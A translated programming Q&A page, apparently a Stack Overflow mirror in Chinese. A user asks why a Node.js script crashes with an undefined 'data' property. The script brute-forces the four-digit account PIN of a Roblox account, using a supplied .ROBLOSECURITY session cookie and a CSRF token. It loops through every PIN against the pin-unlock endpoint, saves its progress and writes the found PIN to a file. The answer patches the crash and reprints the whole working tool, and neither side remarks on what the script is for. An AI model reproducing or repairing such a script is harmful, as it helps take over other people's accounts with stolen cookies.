繁体   English   中英

Node.js 出现错误无法读取未定义的属性“数据”

[英]Node.js Got error cannot read property 'data' of undefined

问题是当我运行我的 Node.js 5-10 分钟时,循环停止并且我的程序自动关闭我尝试使用nodemon来获取错误,我得到了这个错误这是我的错误图片

我是 node.js 的新手,我收到此错误Cannot read property 'data' of undefined我尝试自己修复它,但如果你们能给我看一个完整的代码,我无法修复它,因为我没有不知道很多 node.js

async function login(){
    var loginurl = 'https://auth.roblox.com/v1/login'
    var cookie = '.ROBLOSECURITY=' + readcookie();
    await axios({
        'method': 'post',
        'url': loginurl,
        'headers':{
            'Cookie': cookie,
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52'
        } 
      }).then(response => {
        console.log("\x1b[4m"+"\x1b[1m"+ "\x1b[32m","INFO: "+"This Account Don't have a PIN or Cookie Expired","\x1b[0m");
        return
      }).catch(error => {
        var token = error.response.headers['x-csrf-token'];
        console.log("\x1b[1m"+"\x1b[35m"+'FoundToken:'+ "\x1b[32m",token+"\x1b[0m");
        getpin(token,cookie);
      });
}

async function getpin(token,cookie){
    var pinurl = 'https://auth.roblox.com/v1/account/pin/unlock';
    var i = readsave();
    while(i<9999){
        //console.log(pin(i,4));
        var payload = {'pin': pin(i,4)}
        console.log("\x1b[1m"+"\x1b[34m"+'CheckingPIN: ' + "\x1b[32m" + payload.pin.toString()+"\x1b[0m")
        await axios({
            'method': 'post',
            'url': pinurl,
            'data': payload,
            'headers':{
                'X-CSRF-TOKEN': token,
                'Cookie': cookie,
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52'
            } 
          }).then(response => {
            console.log("\x1b[4m"+"\x1b[1m"+ "\x1b[32m","FOUND PIN: ",payload.pin,"\x1b[0m");
            autosave(payload);
            save(payload);
          }).catch(async error => {
            if (error.response.data.errors[0].code === 3){
                console.log("\x1b[1m"+ "\x1b[31m",error.response.data.errors[0].message,"\x1b[0m");
                return;
            }else if (error.response.data.errors[0].code === 0){
              console.log("\x1b[1m"+ "\x1b[31m",error.response.data.errors[0].message,"\x1b[0m");
              var loginurl = 'https://auth.roblox.com/v1/login'
              var cookie = '.ROBLOSECURITY=' + readcookie();
              await axios({
                  'method': 'post',
                  'url': loginurl,
                  'headers':{
                      'Cookie': cookie,
                      'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52'
                  } 
                }).then(response => {
                  console.log("\x1b[4m"+"\x1b[1m"+ "\x1b[32m","INFO: "+"This Account Don't have a PIN or Cookie Expired","\x1b[0m");
                  return
                }).catch(error => {
                  token = error.response.headers['x-csrf-token'];
                  console.log("\x1b[1m"+"\x1b[35m"+'NewToken:'+ "\x1b[32m",token+"\x1b[0m");
                  return
                });

            }else if (error.response.data.errors[0].code === 4){
              console.log("\x1b[1m"+ "\x1b[33m",error.response.data.errors[0].message,"\x1b[0m");
              autosave(payload);
              i++;
            }else {
              console.log(error.response.data.errors[0].code);
              console.log("\x1b[1m"+ "\x1b[33m",error.response.data.errors[0].message,"\x1b[0m");
              return
            }
          });      
    }
}

function save(pin){
    fs.writeFileSync('found.txt', 'PIN: ' + pin.pin );
    console.log("\x1b[47m"+"\x1b[1m"+"\x1b[34m" + "\x1b[32m" + 'PIN SAVE AT found.txt'+"\x1b[0m")
    exit();
}
function autosave(pin){
    fs.writeFileSync('autosave.txt', pin.pin); 
}

login();

发生这种情况是因为您正在读取未定义内容的属性。 在您的情况下,它是错误的data属性(主要在 catch 块中)。您可以使用optional chaining operator来避免它。 我已经更新了代码。

async function login(){
    var loginurl = 'https://auth.roblox.com/v1/login'
    var cookie = '.ROBLOSECURITY=' + readcookie();
    await axios({
        'method': 'post',
        'url': loginurl,
        'headers':{
            'Cookie': cookie,
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52'
        } 
      }).then(response => {
        console.log("\x1b[4m"+"\x1b[1m"+ "\x1b[32m","INFO: "+"This Account Don't have a PIN or Cookie Expired","\x1b[0m");
        return
      }).catch(error => {
        var token = error.response.headers['x-csrf-token'];
        console.log("\x1b[1m"+"\x1b[35m"+'FoundToken:'+ "\x1b[32m",token+"\x1b[0m");
        getpin(token,cookie);
      });
}

async function getpin(token,cookie){
    var pinurl = 'https://auth.roblox.com/v1/account/pin/unlock';
    var i = readsave();
    while(i<9999){
        //console.log(pin(i,4));
        var payload = {'pin': pin(i,4)}
        console.log("\x1b[1m"+"\x1b[34m"+'CheckingPIN: ' + "\x1b[32m" + payload.pin.toString()+"\x1b[0m")
        await axios({
            'method': 'post',
            'url': pinurl,
            'data': payload,
            'headers':{
                'X-CSRF-TOKEN': token,
                'Cookie': cookie,
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52'
            } 
          }).then(response => {
            console.log("\x1b[4m"+"\x1b[1m"+ "\x1b[32m","FOUND PIN: ",payload.pin,"\x1b[0m");
            autosave(payload);
            save(payload);
          }).catch(async error => {
            if (error.response?.data.errors[0].code === 3){
                console.log("\x1b[1m"+ "\x1b[31m",error.response?.data.errors[0].message,"\x1b[0m");
                return;
            }else if (error.response?.data.errors[0].code === 0){
              console.log("\x1b[1m"+ "\x1b[31m",error.response?.data.errors[0].message,"\x1b[0m");
              var loginurl = 'https://auth.roblox.com/v1/login'
              var cookie = '.ROBLOSECURITY=' + readcookie();
              await axios({
                  'method': 'post',
                  'url': loginurl,
                  'headers':{
                      'Cookie': cookie,
                      'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52'
                  } 
                }).then(response => {
                  console.log("\x1b[4m"+"\x1b[1m"+ "\x1b[32m","INFO: "+"This Account Don't have a PIN or Cookie Expired","\x1b[0m");
                  return
                }).catch(error => {
                  token = error.response.headers['x-csrf-token'];
                  console.log("\x1b[1m"+"\x1b[35m"+'NewToken:'+ "\x1b[32m",token+"\x1b[0m");
                  return
                });

            }else if (error.response?.data.errors[0].code === 4){
              console.log("\x1b[1m"+ "\x1b[33m",error.response?.data.errors[0].message,"\x1b[0m");
              autosave(payload);
              i++;
            }else {
              console.log(error.response?.data.errors[0].code);
              console.log("\x1b[1m"+ "\x1b[33m",error.response?.data.errors[0].message,"\x1b[0m");
              return
            }
          });      
    }
}

function save(pin){
    fs.writeFileSync('found.txt', 'PIN: ' + pin.pin );
    console.log("\x1b[47m"+"\x1b[1m"+"\x1b[34m" + "\x1b[32m" + 'PIN SAVE AT found.txt'+"\x1b[0m")
    exit();
}
function autosave(pin){
    fs.writeFileSync('autosave.txt', pin.pin); 
}

login();

有关更多详细信息,您可以在此处查看

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM